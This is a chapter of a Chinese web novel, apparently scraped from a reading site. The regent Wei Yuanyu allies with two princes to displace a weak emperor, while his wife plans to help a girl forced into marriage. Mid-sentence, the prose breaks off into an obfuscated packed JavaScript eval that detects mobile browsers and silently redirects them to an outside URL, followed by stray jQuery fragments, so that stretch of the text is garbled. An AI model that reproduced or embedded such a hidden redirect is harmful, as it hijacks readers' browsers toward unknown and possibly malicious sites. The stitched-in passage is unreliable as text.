101. 三人同盟

作品:《摄政王他既抢又夺(双重生)

    傍晚时分,二人前脚刚出了江瑶的铺子,勤王后脚就派府上家丁来唤人。


    魏元聿先同沈禾姝一起上了马车,沈禾姝满脸担忧地望着他。


    他握住她的手,将她抱进怀里,轻声安抚道:“娘子莫担心,你先回府,为夫去去就回。”


    沈禾姝皱眉问:“勤王这个时辰让你过去,莫不是出了什么大事?姬渊对姬承灏很是看中,他死了,你与勤王的说词真的有用吗?”


    魏元聿摸着沈禾姝的头,“你放心,这姬渊就只是一个傀儡皇帝,并无实权,他不会拿我怎么样的。况且他对江湖上的事不清楚。”


    沈禾姝看着他的双眸,道:“那我就在府里等着你,你不回来我就一直等着你。”


    魏元聿在她的额上落下一吻,弯唇道:“好,不论多晚我都会回来。”


    魏元聿下了马车,家丁急忙上前,神色慌张道:“王爷,我家王爷已将安王的尸身抬回府。如今自乱了阵脚,想请您过去替他坐镇。”


    魏元聿斜睨了眼,冷声道:“既如此我也不好拒绝,我们走吧,别叫王爷等着急了。”


    他一进勤王府的大门,勤王不似昨日那般冷漠,竟然亲自迎接。


    魏元聿拱手道:“臣参见王爷。”


    勤王将他扶起,笑道:“盟友之间不必行礼了,我们快些进厅中议事。”


    魏元聿清楚勤王是个桀骜之人,他是不会放下颜面的,今日这厅中必有他人或是他事。


    果真如他所想,敬王正坐在厅中喝茶。


    魏元聿瞧了眼身旁之人,眸中带着寒霜,“方才还说我们是盟友,不知您让敬王来是何事?”


    勤王弯腰赔笑道:“我二弟也想同我们议事,不知能否加上他?”


    魏元聿本意是与敬王同盟,毕竟他才是来日的储君与皇帝,找上勤王只不过是想让敬王看到甜头罢了。


    他笑了一声,“能与敬王殿下成为盟友,是臣之幸。”


    敬王放下茶盏,淡淡开口:“你先前同我大哥说的话,可是真的?”


    魏元聿坐在敬王旁边的椅子上。


    “真假还重要吗?只要这安王一死,姬渊就彻底没了希望,你不也就没了后顾之忧,能够顺顺利利地坐上储君的位子了么。”


    敬王偏头皱眉道:“你这话是何意思?我还有我大哥,储君自是他的。”


    魏元聿捏起茶盏,抿了一口,“我们三人既然成了盟友,我便不会害你们,你们也就不必在我面前装了。”


    勤王浅浅勾唇道:“摄政王果真是慧眼。我们二人早就商量好了,待安王死了后,我便自请封地做一个闲散王爷,反正我这个人也不喜朝政。”


    “这储君之位就是二弟的,二弟也会对我多有照拂,我日后的日子就这么悠哉的过。”


    魏元聿起身,颔首道:“我定会为二位殿下守口如瓶,不会向外透露半个字。”


    敬王急切地问:“安王如今已死,我们下一步该当如何?”


    魏元聿对上敬王探究的眸子,道:“敬王殿下得了朝中百官的信任,我已告知沈丞相,他会召集百官一同向陛下呈递奏折,推举您为我大雍的天子。”


    敬王心中骇然,思虑良久,道:“我父皇身子还硬朗,让我继位,这未免过于急了些吧。”


    魏元聿行至敬王面前,跪在地上道:“敬王,臣接下来说的话,是拿您当盟友看才说的,望您莫要怪罪。”


    敬王点头,“既然已是盟友,你怎可跪在地上,快快请起。”


    魏元聿坐回原位,开口:“两位王爷,自耀宗帝继位以来,若不是我们大臣拼尽全力阻止,大雍空早就覆灭了。”


    “如今他还要让一个勾结胡境之人成为储君,难道要让我大雍臣服于胡境?当真是昏庸至极,切不可再让他继续在位。”


    话罢,他瞧着二人的脸色都极其难看,他躬身又道:“臣这番话说的有些重,请二位莫要记恨。”


    敬王率先开口,他扯出了一个笑道:“身为父皇的孩儿,听到你说的话,本王心里是生气的。可若站在百姓那方,本王却觉着你的话乃是救命之言,气都消了不少。”


    勤王附和道:“我这个人心里从未装过天下,二弟的意思便是我的意思。”


    魏元聿弯起唇角道:“两位王爷明辨是非,有您二位在,大雍今后定会繁荣昌盛,百姓们也安居乐业。”


    敬王亲自为魏元聿倒了杯茶,将茶盏推了过去,道:“本王若要登上至尊之位,也少不了摄政王的帮助,不知你能否一直在我身边辅佐我?”


    魏元聿没有动那盏茶,垂眸道:“恐要让殿下失望了,臣已应下我家夫人,待一切事尘埃落定后要同她一起游山玩水。”


    他又笑道:“殿下放心,我们大雍向来不缺能人异士,您定能找到各方面胜过臣之人。”


    勤王放肆一笑,“想不到当年在战场上战无不胜,所向披靡的摄政王,而今却被自家夫人管的如此严,连官都不做了。”


    魏元聿眉宇紧蹙,冷声道:“勤王这话可说错了,我家夫人温柔贤淑,是我甘愿放下一切,陪我夫人去看舆图上的每处美景。”


    说到最后一句时,冷若冰霜的脸上才有了一丝笑。


    敬王给了坐上的勤王一个眼神,勤王袖中的双手紧攥着,笑不及眼底道:“是本王说错话了,摄政王莫要再气了。”


    魏元聿并未看向勤王,目视前方,冷傲道:“这次我既往不咎,可若再让我听到有人诋毁我夫人,我定要与他翻脸。”


    敬王眼眶中挤出几滴泪,“现如今,三弟的尸身正躺在大哥的府上。这司延庭还真是心狠手辣,三弟可是他的义子啊。不过,这也怪三弟他自己识人不清。”


    魏元聿颔首道:“臣已为殿下找到尸身,余下全凭殿下的口才,臣也就没什么忙可帮到殿下了。我夫人还在府上等着臣,臣就先回去了。”


    他又问勤王道:“臣来时较为仓促,不知殿下可否借臣一匹马儿?”


    敬王把身上的玉佩摘了下来,放在魏元聿眼前,“多谢你抬回了我三弟的尸身,不然他就要客死他乡了。本王也正好要回府,用马车亲自送你一程。”


    魏元聿将玉佩推了回去,“殿下这可使不得!这是我身为臣子的本分。”


    他瞧了眼更漏,“此时已经一更,且敬王府与臣的府邸不同路,还是借臣一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070526|174453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    匹马吧。”


    敬王嘴角微微上扬,“你这么替本王着想,本王只好领你的这份情了。”


    “我府上的马儿任摄政王挑选。”勤王道:“来人,带着摄政王去马厩。”


    “多谢勤王殿下。”


    沈禾姝坐在铜镜前,以手支颐,整张小脸都皱了起来,在心中暗忖着如何让梁家露出真面目。


    梁府的嫡子梁荆藐是个只顾吃喝玩乐的浪子,况且极受家中长辈,尤其是梁卫宗的疼爱。


    那她就可以从梁荆藐身上让梁府受到重创,想到这儿,沈禾姝紧皱的脸也舒缓开来,嘴角也勾起笑。


    沈禾姝想起回府时听府上侍女说的闲话,,眉头蹙起,手也不自觉地攥紧。


    梁茹婳只因是女子,在梁府中与梁荆藐的待遇截然不同。


    她到了议亲的年纪,她父亲却要将她嫁给一个比她大十几岁的商贾,好为她的弟弟升官备好足够多的银子。


    梁茹婳只是嘴上咄咄逼人,并未干出什么伤天害理之事,她绝对不能看着一个花一般的女子就这么凋零。


    魏元聿推开屋门,瞧着沈禾姝这幅样子,他眉宇间也皱着问:“娘子这眉毛拧着,到底是谁惹了你?为夫这就为你去出气!”


    沈禾姝想的出神,都没听见有人进来。


    她抬眸,见到魏元聿,嘴角弯起道:“我还以为要等你等到三更呢,没成想你这么早就回来了,可有出什么事?”


    魏元聿把人搂进怀里,下巴抵在她的头上,“没什么大事,是敬王也想与我结盟,不好让我去他府上,我们便在勤王府见了一面。”


    沈禾姝环着他的腰,闭上眼道:“不是姬承灏的事我就放心了。”


    魏元聿急切地问:“娘子是谁惹你生气?为夫这就去收拾他。”


    沈禾姝气愤道:“我是想到梁茹婳太尉之女,却要嫁给一个老商贾。这梁家人也太不是东西了,为了一个不成器的儿子,竟牺牲掉女儿的婚嫁。”


    魏元聿横抱起沈禾姝,往内室走,“娘子你别气坏了自己的身子,你想让为夫做什么?”


    沈禾姝抓紧了他的衣衫,“五日后就是梁茹婳的大婚之日,在大婚前能否让我与她见上一面?”


    魏元聿在她的脸颊上亲了一口,“为夫定让娘子你如愿。”


    翌日。


    下了早朝后,勤王、敬王还有魏元聿带着姬承灏的尸身去了太极殿。


    勤王、敬王进了殿内,魏元聿与尸身在殿外候着。


    他们二人跪在地上,姬渊勃然大怒道:“你二人身为灏儿的哥哥,这都两日过去了,怎么还没有找到他?”


    勤王狠狠掐了自己的手掌心,眸中有了泪花,“父皇,我们已经找到了三弟,他如今就在殿外。”


    姬渊脸上的怒气倏然消失,站起身,弯唇道:“灏儿回来了,他怎么不和你们一起进来?”


    敬王以额点地,“父皇,是孩儿没有护好三弟。他被溯组织的司延庭给杀害了,在殿外的正是三弟的尸身。”


    勤王也以额点地,不再看姬渊的脸色。


    姬渊如雷轰顶,脚下一软,差点跌倒在地,“什么!怎么会这样!”